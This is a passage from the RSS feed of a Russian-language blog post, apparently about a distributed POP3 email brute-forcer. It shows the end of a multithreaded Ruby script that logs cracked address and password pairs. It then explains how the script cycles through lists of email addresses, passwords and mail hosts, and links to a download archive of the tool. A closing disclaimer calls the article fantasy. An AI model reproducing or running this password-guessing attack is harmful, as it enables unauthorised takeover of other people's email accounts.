log($fl_good,&#8221;#{serv} &lt;-&gt; #{p_addr}:#{p_pass} &lt;-&gt; SUCCESS&#8221;)<br />
break</p>
<p>end#case<br />
#http.close<br />
end#each<br />
end#thread<br />
end#while<br />
th.join</p></blockquote>
<p>Он работает по следующему принципу:</p>
<ul>
<li>ОСНОВНОЙ ПОТОК: открывает файл со списком адресов и берет первый</li>
<li>ОСНОВНОЙ ПОТОК: создает поток, который будет работать с этим адресом</li>
<li>ПОТОК: берет первый пароль из нашего списка</li>
<li>ПОТОК: берет первый хостинг и посылает запрос серверу на попытку авторизации</li>
<li>ПОТОК: далее берет следующий хостинг и следующий пароль и так далее</li>
<li>ОСНОВНОЙ ПОТОК: берет следующее мыло из списка и создает новый поток под него и так далее.</li>
</ul>
<p>В случае если поток находит правильный пароль, то поток самоуничтожается, тем самым пресекая бессмысленные попытки авторизации с оставшимися, заведомо ложными паролями.</p>
<p>Ну вот и все, как запустить скрипт Ruby можно прочитать <a href="http://blog.lukmus.ru/?p=57" target="_self">здесь</a>, а скачвть все это дело одним архивом можно <a href="http://sharingmatrix.com/file/9978975/php-ruby_webmailbrut.tar" target="_blank">здесь</a></p>
<pre>Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
